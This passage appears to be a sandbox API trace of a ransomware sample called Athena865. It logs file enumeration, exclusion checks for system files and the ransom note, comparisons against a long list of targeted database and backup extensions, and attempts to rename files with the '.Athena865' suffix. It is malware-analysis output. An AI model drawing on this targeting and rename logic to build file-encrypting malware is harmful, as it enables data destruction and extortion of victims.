returned -1 [0035.264] lstrlenW (lpString="scx") returned 3 [0035.264] lstrcmpiW (lpString1="52}", lpString2="scx") returned -1 [0035.264] lstrlenW (lpString="sdb") returned 3 [0035.264] lstrcmpiW (lpString1="52}", lpString2="sdb") returned -1 [0035.264] lstrlenW (lpString="sdc") returned 3 [0035.264] lstrcmpiW (lpString1="52}", lpString2="sdc") returned -1 [0035.264] lstrlenW (lpString="sdf") returned 3 [0035.264] lstrcmpiW (lpString1="52}", lpString2="sdf") returned -1 [0035.264] lstrlenW (lpString="sis") returned 3 [0035.264] lstrcmpiW (lpString1="52}", lpString2="sis") returned -1 [0035.264] lstrlenW (lpString="spq") returned 3 [0035.264] lstrcmpiW (lpString1="52}", lpString2="spq") returned -1 [0035.264] lstrlenW (lpString="te") returned 2 [0035.264] lstrcmpiW (lpString1="2}", lpString2="te") returned -1 [0035.264] lstrlenW (lpString="teacher") returned 7 [0035.264] lstrcmpiW (lpString1="6cc752}", lpString2="teacher") returned -1 [0035.264] lstrlenW (lpString="tmd") returned 3 [0035.264] lstrcmpiW (lpString1="52}", lpString2="tmd") returned -1 [0035.265] lstrlenW (lpString="tps") returned 3 [0035.265] lstrcmpiW (lpString1="52}", lpString2="tps") returned -1 [0035.265] lstrlenW (lpString="trc") returned 3 [0035.265] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.265] lstrlenW (lpString="trc") returned 3 [0035.265] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.265] lstrlenW (lpString="trm") returned 3 [0035.265] lstrcmpiW (lpString1="52}", lpString2="trm") returned -1 [0035.265] lstrlenW (lpString="udb") returned 3 [0035.265] lstrcmpiW (lpString1="52}", lpString2="udb") returned -1 [0035.265] lstrlenW (lpString="udl") returned 3 [0035.265] lstrcmpiW (lpString1="52}", lpString2="udl") returned -1 [0035.265] lstrlenW (lpString="usr") returned 3 [0035.265] lstrcmpiW (lpString1="52}", lpString2="usr") returned -1 [0035.265] lstrlenW (lpString="v12") returned 3 [0035.265] lstrcmpiW (lpString1="52}", lpString2="v12") returned -1 [0035.265] lstrlenW (lpString="vis") returned 3 [0035.265] lstrcmpiW (lpString1="52}", lpString2="vis") returned -1 [0035.265] lstrlenW (lpString="vpd") returned 3 [0035.265] lstrcmpiW (lpString1="52}", lpString2="vpd") returned -1 [0035.265] lstrlenW (lpString="vvv") returned 3 [0035.265] lstrcmpiW (lpString1="52}", lpString2="vvv") returned -1 [0035.265] lstrlenW (lpString="wdb") returned 3 [0035.265] lstrcmpiW (lpString1="52}", lpString2="wdb") returned -1 [0035.265] lstrlenW (lpString="wmdb") returned 4 [0035.265] lstrcmpiW (lpString1="752}", lpString2="wmdb") returned -1 [0035.265] lstrlenW (lpString="wrk") returned 3 [0035.265] lstrcmpiW (lpString1="52}", lpString2="wrk") returned -1 [0035.265] lstrlenW (lpString="xdb") returned 3 [0035.265] lstrcmpiW (lpString1="52}", lpString2="xdb") returned -1 [0035.265] lstrlenW (lpString="xld") returned 3 [0035.265] lstrcmpiW (lpString1="52}", lpString2="xld") returned -1 [0035.265] lstrlenW (lpString="xmlff") returned 5 [0035.265] lstrcmpiW (lpString1="c752}", lpString2="xmlff") returned -1 [0035.265] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0035.265] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.266] GetLastError () returned 0x5 [0035.266] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.266] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.266] SetEntriesInAclW () returned 0x0 [0035.266] SetNamedSecurityInfoW () returned 0x5 [0035.266] SetNamedSecurityInfoW () returned 0x5 [0035.266] LocalFree (hMem=0x529490) returned 0x0 [0035.266] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.266] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{9625bc52-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.266] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.266] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9ea [0035.266] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.266] CloseHandle (hObject=0x154) returned 1 [0035.267] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.267] CloseHandle (hObject=0x0) returned 0 [0035.267] CloseHandle (hObject=0x0) returned 0 [0035.267] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf88a1aa0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xf88a1aa0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc63a5a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xd3d8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{9625B~4")) returned 1 [0035.267] lstrcmpiW (lpString1="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.267] lstrcmpiW (lpString1="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.267] lstrcmpiW (lpString1="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.267] lstrcmpiW (lpString1="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.267] lstrcmpiW (lpString1="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.267] lstrcmpiW (lpString1="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.267] lstrcmpiW (lpString1="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.267] lstrcmpiW (lpString1="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.267] lstrcmpiW (lpString1="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.267] lstrcmpiW (lpString1="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.267] lstrcmpiW (lpString1="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0035.268] lstrcmpiW (lpString1="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.268] lstrcmpiW (lpString1="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.268] lstrlenW (lpString="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.268] lstrcpyW (in: lpString1=0x241e882, lpString2="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.268] lstrlenW (lpString="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.268] lstrlenW (lpString="Athena865") returned 9 [0035.268] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.268] lstrlenW (lpString=".dll") returned 4 [0035.268] lstrcmpiW (lpString1="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.268] lstrlenW (lpString=".lnk") returned 4 [0035.268] lstrcmpiW (lpString1="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.268] lstrlenW (lpString=".ini") returned 4 [0035.268] lstrcmpiW (lpString1="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.268] lstrlenW (lpString=".sys") returned 4 [0035.268] lstrcmpiW (lpString1="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.268] lstrlenW (lpString="{9625bc56-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.268] lstrlenW (lpString="bak") returned 3 [0035.268] lstrcmpiW (lpString1="52}", lpString2="bak") returned -1 [0035.268] lstrlenW (lpString="ba_") returned 3 [0035.268] lstrcmpiW (lpString1="52}", lpString2="ba_") returned -1 [0035.268] lstrlenW (lpString="dbb") returned 3 [0035.268] lstrcmpiW (lpString1="52}", lpString2="dbb") returned -1 [0035.268] lstrlenW (lpString="vmdk") returned 4 [0035.268] lstrcmpiW (lpString1="752}", lpString2="vmdk") returned -1 [0035.268] lstrlenW (lpString="rar") returned 3 [0035.268] lstrcmpiW (lpString1="52}", lpString2="rar") returned -1 [0035.268] lstrlenW (lpString="zip") returned 3 [0035.268] lstrcmpiW (lpString1="52}", lpString2="zip") returned -1 [0035.268] lstrlenW (lpString="tgz") returned 3 [0035.268] lstrcmpiW (lpString1="52}", lpString2="tgz") returned -1 [0035.268] lstrlenW (lpString="vbox") returned 4 [0035.268] lstrcmpiW (lpString1="752}", lpString2="vbox") returned -1 [0035.268] lstrlenW (lpString="vdi") returned 3 [0035.268] lstrcmpiW (lpString1="52}", lpString2="vdi") returned -1 [0035.268] lstrlenW (lpString="vhd") returned 3 [0035.269] lstrcmpiW (lpString1="52}", lpString2="vhd") returned -1 [0035.269] lstrlenW (lpString="vhdx") returned 4 [0035.269] lstrcmpiW (lpString1="752}", lpString2="vhdx") returned -1 [0035.269] lstrlenW (lpString="avhd") returned 4 [0035.269] lstrcmpiW (lpString1="752}", lpString2="avhd") returned -1 [0035.269] lstrlenW (lpString="db") returned 2 [0035.269] lstrcmpiW (lpString1="2}", lpString2="db") returned -1 [0035.269] lstrlenW (lpString="db2") returned 3 [0035.269] lstrcmpiW (lpString1="52}", lpString2="db2") returned -1 [0035.269] lstrlenW (lpString="db3") returned 3 [0035.269] lstrcmpiW (lpString1="52}", lpString2="db3") returned -1 [0035.269] lstrlenW (lpString="dbf") returned 3 [0035.269] lstrcmpiW (lpString1="52}", lpString2="dbf") returned -1 [0035.269] lstrlenW (lpString="mdf") returned 3 [0035.269] lstrcmpiW (lpString1="52}", lpString2="mdf") returned -1 [0035.269] lstrlenW (lpString="mdb") returned 3 [0035.269] lstrcmpiW (lpString1="52}", lpString2="mdb") returned -1 [0035.269] lstrlenW (lpString="sql") returned 3 [0035.269] lstrcmpiW (lpString1="52}", lpString2="sql") returned -1 [0035.269] lstrlenW (lpString="sqlite") returned 6 [0035.269] lstrcmpiW (lpString1="cc752}", lpString2="sqlite") returned -1 [0035.269] lstrlenW (lpString="sqlite3") returned 7 [0035.269] lstrcmpiW (lpString1="6cc752}", lpString2="sqlite3") returned -1 [0035.269] lstrlenW (lpString="sqlitedb") returned 8 [0035.269] lstrcmpiW (lpString1="e6cc752}", lpString2="sqlitedb") returned -1 [0035.269] lstrlenW (lpString="xml") returned 3 [0035.269] lstrcmpiW (lpString1="52}", lpString2="xml") returned -1 [0035.269] lstrlenW (lpString="$er") returned 3 [0035.269] lstrcmpiW (lpString1="52}", lpString2="$er") returned 1 [0035.269] lstrlenW (lpString="4dd") returned 3 [0035.269] lstrcmpiW (lpString1="52}", lpString2="4dd") returned 1 [0035.269] lstrlenW (lpString="4dl") returned 3 [0035.269] lstrcmpiW (lpString1="52}", lpString2="4dl") returned 1 [0035.269] lstrlenW (lpString="^^^") returned 3 [0035.269] lstrcmpiW (lpString1="52}", lpString2="^^^") returned 1 [0035.269] lstrlenW (lpString="abs") returned 3 [0035.269] lstrcmpiW (lpString1="52}", lpString2="abs") returned -1 [0035.269] lstrlenW (lpString="abx") returned 3 [0035.270] lstrcmpiW (lpString1="52}", lpString2="abx") returned -1 [0035.270] lstrlenW (lpString="accdb") returned 5 [0035.270] lstrcmpiW (lpString1="c752}", lpString2="accdb") returned 1 [0035.270] lstrlenW (lpString="accdc") returned 5 [0035.270] lstrcmpiW (lpString1="c752}", lpString2="accdc") returned 1 [0035.270] lstrlenW (lpString="accde") returned 5 [0035.270] lstrcmpiW (lpString1="c752}", lpString2="accde") returned 1 [0035.270] lstrlenW (lpString="accdr") returned 5 [0035.270] lstrcmpiW (lpString1="c752}", lpString2="accdr") returned 1 [0035.270] lstrlenW (lpString="accdt") returned 5 [0035.270] lstrcmpiW (lpString1="c752}", lpString2="accdt") returned 1 [0035.270] lstrlenW (lpString="accdw") returned 5 [0035.270] lstrcmpiW (lpString1="c752}", lpString2="accdw") returned 1 [0035.270] lstrlenW (lpString="accft") returned 5 [0035.270] lstrcmpiW (lpString1="c752}", lpString2="accft") returned 1 [0035.270] lstrlenW (lpString="adb") returned 3 [0035.270] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.270] lstrlenW (lpString="adb") returned 3 [0035.270] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.270] lstrlenW (lpString="ade") returned 3 [0035.270] lstrcmpiW (lpString1="52}", lpString2="ade") returned -1 [0035.270] lstrlenW (lpString="adf") returned 3 [0035.270] lstrcmpiW (lpString1="52}", lpString2="adf") returned -1 [0035.270] lstrlenW (lpString="adn") returned 3 [0035.270] lstrcmpiW (lpString1="52}", lpString2="adn") returned -1 [0035.270] lstrlenW (lpString="adp") returned 3 [0035.270] lstrcmpiW (lpString1="52}", lpString2="adp") returned -1 [0035.270] lstrlenW (lpString="alf") returned 3 [0035.270] lstrcmpiW (lpString1="52}", lpString2="alf") returned -1 [0035.270] lstrlenW (lpString="ask") returned 3 [0035.270] lstrcmpiW (lpString1="52}", lpString2="ask") returned -1 [0035.270] lstrlenW (lpString="btr") returned 3 [0035.270] lstrcmpiW (lpString1="52}", lpString2="btr") returned -1 [0035.270] lstrlenW (lpString="cat") returned 3 [0035.270] lstrcmpiW (lpString1="52}", lpString2="cat") returned -1 [0035.270] lstrlenW (lpString="cdb") returned 3 [0035.270] lstrcmpiW (lpString1="52}", lpString2="cdb") returned -1 [0035.271] lstrlenW (lpString="ckp") returned 3 [0035.271] lstrcmpiW (lpString1="52}", lpString2="ckp") returned -1 [0035.271] lstrlenW (lpString="cma") returned 3 [0035.271] lstrcmpiW (lpString1="52}", lpString2="cma") returned -1 [0035.271] lstrlenW (lpString="cpd") returned 3 [0035.271] lstrcmpiW (lpString1="52}", lpString2="cpd") returned -1 [0035.271] lstrlenW (lpString="dacpac") returned 6 [0035.271] lstrcmpiW (lpString1="cc752}", lpString2="dacpac") returned -1 [0035.271] lstrlenW (lpString="dad") returned 3 [0035.271] lstrcmpiW (lpString1="52}", lpString2="dad") returned -1 [0035.271] lstrlenW (lpString="dadiagrams") returned 10 [0035.271] lstrcmpiW (lpString1="46e6cc752}", lpString2="dadiagrams") returned -1 [0035.271] lstrlenW (lpString="daschema") returned 8 [0035.271] lstrcmpiW (lpString1="e6cc752}", lpString2="daschema") returned 1 [0035.271] lstrlenW (lpString="db-journal") returned 10 [0035.271] lstrcmpiW (lpString1="46e6cc752}", lpString2="db-journal") returned -1 [0035.271] lstrlenW (lpString="db-shm") returned 6 [0035.271] lstrcmpiW (lpString1="cc752}", lpString2="db-shm") returned -1 [0035.271] lstrlenW (lpString="db-wal") returned 6 [0035.271] lstrcmpiW (lpString1="cc752}", lpString2="db-wal") returned -1 [0035.271] lstrlenW (lpString="dbc") returned 3 [0035.271] lstrcmpiW (lpString1="52}", lpString2="dbc") returned -1 [0035.271] lstrlenW (lpString="dbs") returned 3 [0035.271] lstrcmpiW (lpString1="52}", lpString2="dbs") returned -1 [0035.271] lstrlenW (lpString="dbt") returned 3 [0035.271] lstrcmpiW (lpString1="52}", lpString2="dbt") returned -1 [0035.271] lstrlenW (lpString="dbv") returned 3 [0035.271] lstrcmpiW (lpString1="52}", lpString2="dbv") returned -1 [0035.271] lstrlenW (lpString="dbx") returned 3 [0035.271] lstrcmpiW (lpString1="52}", lpString2="dbx") returned -1 [0035.271] lstrlenW (lpString="dcb") returned 3 [0035.271] lstrcmpiW (lpString1="52}", lpString2="dcb") returned -1 [0035.271] lstrlenW (lpString="dct") returned 3 [0035.271] lstrcmpiW (lpString1="52}", lpString2="dct") returned -1 [0035.271] lstrlenW (lpString="dcx") returned 3 [0035.271] lstrcmpiW (lpString1="52}", lpString2="dcx") returned -1 [0035.271] lstrlenW (lpString="ddl") returned 3 [0035.272] lstrcmpiW (lpString1="52}", lpString2="ddl") returned -1 [0035.272] lstrlenW (lpString="dlis") returned 4 [0035.272] lstrcmpiW (lpString1="752}", lpString2="dlis") returned -1 [0035.272] lstrlenW (lpString="dp1") returned 3 [0035.272] lstrcmpiW (lpString1="52}", lpString2="dp1") returned -1 [0035.272] lstrlenW (lpString="dqy") returned 3 [0035.272] lstrcmpiW (lpString1="52}", lpString2="dqy") returned -1 [0035.272] lstrlenW (lpString="dsk") returned 3 [0035.272] lstrcmpiW (lpString1="52}", lpString2="dsk") returned -1 [0035.272] lstrlenW (lpString="dsn") returned 3 [0035.272] lstrcmpiW (lpString1="52}", lpString2="dsn") returned -1 [0035.272] lstrlenW (lpString="dtsx") returned 4 [0035.272] lstrcmpiW (lpString1="752}", lpString2="dtsx") returned -1 [0035.272] lstrlenW (lpString="dxl") returned 3 [0035.272] lstrcmpiW (lpString1="52}", lpString2="dxl") returned -1 [0035.272] lstrlenW (lpString="eco") returned 3 [0035.272] lstrcmpiW (lpString1="52}", lpString2="eco") returned -1 [0035.272] lstrlenW (lpString="ecx") returned 3 [0035.272] lstrcmpiW (lpString1="52}", lpString2="ecx") returned -1 [0035.272] lstrlenW (lpString="edb") returned 3 [0035.272] lstrcmpiW (lpString1="52}", lpString2="edb") returned -1 [0035.272] lstrlenW (lpString="epim") returned 4 [0035.272] lstrcmpiW (lpString1="752}", lpString2="epim") returned -1 [0035.272] lstrlenW (lpString="fcd") returned 3 [0035.272] lstrcmpiW (lpString1="52}", lpString2="fcd") returned -1 [0035.272] lstrlenW (lpString="fdb") returned 3 [0035.272] lstrcmpiW (lpString1="52}", lpString2="fdb") returned -1 [0035.272] lstrlenW (lpString="fic") returned 3 [0035.272] lstrcmpiW (lpString1="52}", lpString2="fic") returned -1 [0035.272] lstrlenW (lpString="flexolibrary") returned 12 [0035.272] lstrcmpiW (lpString1="4046e6cc752}", lpString2="flexolibrary") returned -1 [0035.272] lstrlenW (lpString="fm5") returned 3 [0035.272] lstrcmpiW (lpString1="52}", lpString2="fm5") returned -1 [0035.272] lstrlenW (lpString="fmp") returned 3 [0035.272] lstrcmpiW (lpString1="52}", lpString2="fmp") returned -1 [0035.272] lstrlenW (lpString="fmp12") returned 5 [0035.272] lstrcmpiW (lpString1="c752}", lpString2="fmp12") returned -1 [0035.272] lstrlenW (lpString="fmpsl") returned 5 [0035.272] lstrcmpiW (lpString1="c752}", lpString2="fmpsl") returned -1 [0035.273] lstrlenW (lpString="fol") returned 3 [0035.273] lstrcmpiW (lpString1="52}", lpString2="fol") returned -1 [0035.273] lstrlenW (lpString="fp3") returned 3 [0035.273] lstrcmpiW (lpString1="52}", lpString2="fp3") returned -1 [0035.273] lstrlenW (lpString="fp4") returned 3 [0035.273] lstrcmpiW (lpString1="52}", lpString2="fp4") returned -1 [0035.273] lstrlenW (lpString="fp5") returned 3 [0035.273] lstrcmpiW (lpString1="52}", lpString2="fp5") returned -1 [0035.273] lstrlenW (lpString="fp7") returned 3 [0035.273] lstrcmpiW (lpString1="52}", lpString2="fp7") returned -1 [0035.273] lstrlenW (lpString="fpt") returned 3 [0035.273] lstrcmpiW (lpString1="52}", lpString2="fpt") returned -1 [0035.273] lstrlenW (lpString="frm") returned 3 [0035.273] lstrcmpiW (lpString1="52}", lpString2="frm") returned -1 [0035.273] lstrlenW (lpString="gdb") returned 3 [0035.273] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.273] lstrlenW (lpString="gdb") returned 3 [0035.273] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.273] lstrlenW (lpString="grdb") returned 4 [0035.273] lstrcmpiW (lpString1="752}", lpString2="grdb") returned -1 [0035.273] lstrlenW (lpString="gwi") returned 3 [0035.273] lstrcmpiW (lpString1="52}", lpString2="gwi") returned -1 [0035.273] lstrlenW (lpString="hdb") returned 3 [0035.273] lstrcmpiW (lpString1="52}", lpString2="hdb") returned -1 [0035.273] lstrlenW (lpString="his") returned 3 [0035.273] lstrcmpiW (lpString1="52}", lpString2="his") returned -1 [0035.273] lstrlenW (lpString="ib") returned 2 [0035.273] lstrcmpiW (lpString1="2}", lpString2="ib") returned -1 [0035.273] lstrlenW (lpString="idb") returned 3 [0035.273] lstrcmpiW (lpString1="52}", lpString2="idb") returned -1 [0035.273] lstrlenW (lpString="ihx") returned 3 [0035.273] lstrcmpiW (lpString1="52}", lpString2="ihx") returned -1 [0035.273] lstrlenW (lpString="itdb") returned 4 [0035.273] lstrcmpiW (lpString1="752}", lpString2="itdb") returned -1 [0035.273] lstrlenW (lpString="itw") returned 3 [0035.273] lstrcmpiW (lpString1="52}", lpString2="itw") returned -1 [0035.273] lstrlenW (lpString="jet") returned 3 [0035.344] lstrcmpiW (lpString1="52}", lpString2="jet") returned -1 [0035.344] lstrlenW (lpString="jtx") returned 3 [0035.344] lstrcmpiW (lpString1="52}", lpString2="jtx") returned -1 [0035.344] lstrlenW (lpString="kdb") returned 3 [0035.344] lstrcmpiW (lpString1="52}", lpString2="kdb") returned -1 [0035.344] lstrlenW (lpString="kexi") returned 4 [0035.344] lstrcmpiW (lpString1="752}", lpString2="kexi") returned -1 [0035.344] lstrlenW (lpString="kexic") returned 5 [0035.344] lstrcmpiW (lpString1="c752}", lpString2="kexic") returned -1 [0035.344] lstrlenW (lpString="kexis") returned 5 [0035.344] lstrcmpiW (lpString1="c752}", lpString2="kexis") returned -1 [0035.344] lstrlenW (lpString="lgc") returned 3 [0035.344] lstrcmpiW (lpString1="52}", lpString2="lgc") returned -1 [0035.344] lstrlenW (lpString="lwx") returned 3 [0035.344] lstrcmpiW (lpString1="52}", lpString2="lwx") returned -1 [0035.344] lstrlenW (lpString="maf") returned 3 [0035.344] lstrcmpiW (lpString1="52}", lpString2="maf") returned -1 [0035.345] lstrlenW (lpString="maq") returned 3 [0035.345] lstrcmpiW (lpString1="52}", lpString2="maq") returned -1 [0035.345] lstrlenW (lpString="mar") returned 3 [0035.345] lstrcmpiW (lpString1="52}", lpString2="mar") returned -1 [0035.345] lstrlenW (lpString="marshal") returned 7 [0035.345] lstrcmpiW (lpString1="6cc752}", lpString2="marshal") returned -1 [0035.345] lstrlenW (lpString="mas") returned 3 [0035.345] lstrcmpiW (lpString1="52}", lpString2="mas") returned -1 [0035.345] lstrlenW (lpString="mav") returned 3 [0035.345] lstrcmpiW (lpString1="52}", lpString2="mav") returned -1 [0035.345] lstrlenW (lpString="maw") returned 3 [0035.345] lstrcmpiW (lpString1="52}", lpString2="maw") returned -1 [0035.345] lstrlenW (lpString="mdbhtml") returned 7 [0035.345] lstrcmpiW (lpString1="6cc752}", lpString2="mdbhtml") returned -1 [0035.345] lstrlenW (lpString="mdn") returned 3 [0035.345] lstrcmpiW (lpString1="52}", lpString2="mdn") returned -1 [0035.345] lstrlenW (lpString="mdt") returned 3 [0035.345] lstrcmpiW (lpString1="52}", lpString2="mdt") returned -1 [0035.345] lstrlenW (lpString="mfd") returned 3 [0035.345] lstrcmpiW (lpString1="52}", lpString2="mfd") returned -1 [0035.345] lstrlenW (lpString="mpd") returned 3 [0035.345] lstrcmpiW (lpString1="52}", lpString2="mpd") returned -1 [0035.345] lstrlenW (lpString="mrg") returned 3 [0035.345] lstrcmpiW (lpString1="52}", lpString2="mrg") returned -1 [0035.345] lstrlenW (lpString="mud") returned 3 [0035.345] lstrcmpiW (lpString1="52}", lpString2="mud") returned -1 [0035.345] lstrlenW (lpString="mwb") returned 3 [0035.345] lstrcmpiW (lpString1="52}", lpString2="mwb") returned -1 [0035.345] lstrlenW (lpString="myd") returned 3 [0035.345] lstrcmpiW (lpString1="52}", lpString2="myd") returned -1 [0035.345] lstrlenW (lpString="ndf") returned 3 [0035.345] lstrcmpiW (lpString1="52}", lpString2="ndf") returned -1 [0035.345] lstrlenW (lpString="nnt") returned 3 [0035.345] lstrcmpiW (lpString1="52}", lpString2="nnt") returned -1 [0035.345] lstrlenW (lpString="nrmlib") returned 6 [0035.345] lstrcmpiW (lpString1="cc752}", lpString2="nrmlib") returned -1 [0035.345] lstrlenW (lpString="ns2") returned 3 [0035.345] lstrcmpiW (lpString1="52}", lpString2="ns2") returned -1 [0035.345] lstrlenW (lpString="ns3") returned 3 [0035.346] lstrcmpiW (lpString1="52}", lpString2="ns3") returned -1 [0035.346] lstrlenW (lpString="ns4") returned 3 [0035.346] lstrcmpiW (lpString1="52}", lpString2="ns4") returned -1 [0035.346] lstrlenW (lpString="nsf") returned 3 [0035.346] lstrcmpiW (lpString1="52}", lpString2="nsf") returned -1 [0035.346] lstrlenW (lpString="nv") returned 2 [0035.346] lstrcmpiW (lpString1="2}", lpString2="nv") returned -1 [0035.346] lstrlenW (lpString="nv2") returned 3 [0035.346] lstrcmpiW (lpString1="52}", lpString2="nv2") returned -1 [0035.346] lstrlenW (lpString="nwdb") returned 4 [0035.346] lstrcmpiW (lpString1="752}", lpString2="nwdb") returned -1 [0035.346] lstrlenW (lpString="nyf") returned 3 [0035.346] lstrcmpiW (lpString1="52}", lpString2="nyf") returned -1 [0035.346] lstrlenW (lpString="odb") returned 3 [0035.346] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.346] lstrlenW (lpString="odb") returned 3 [0035.346] lstrcmpiW (lpString1="52}", 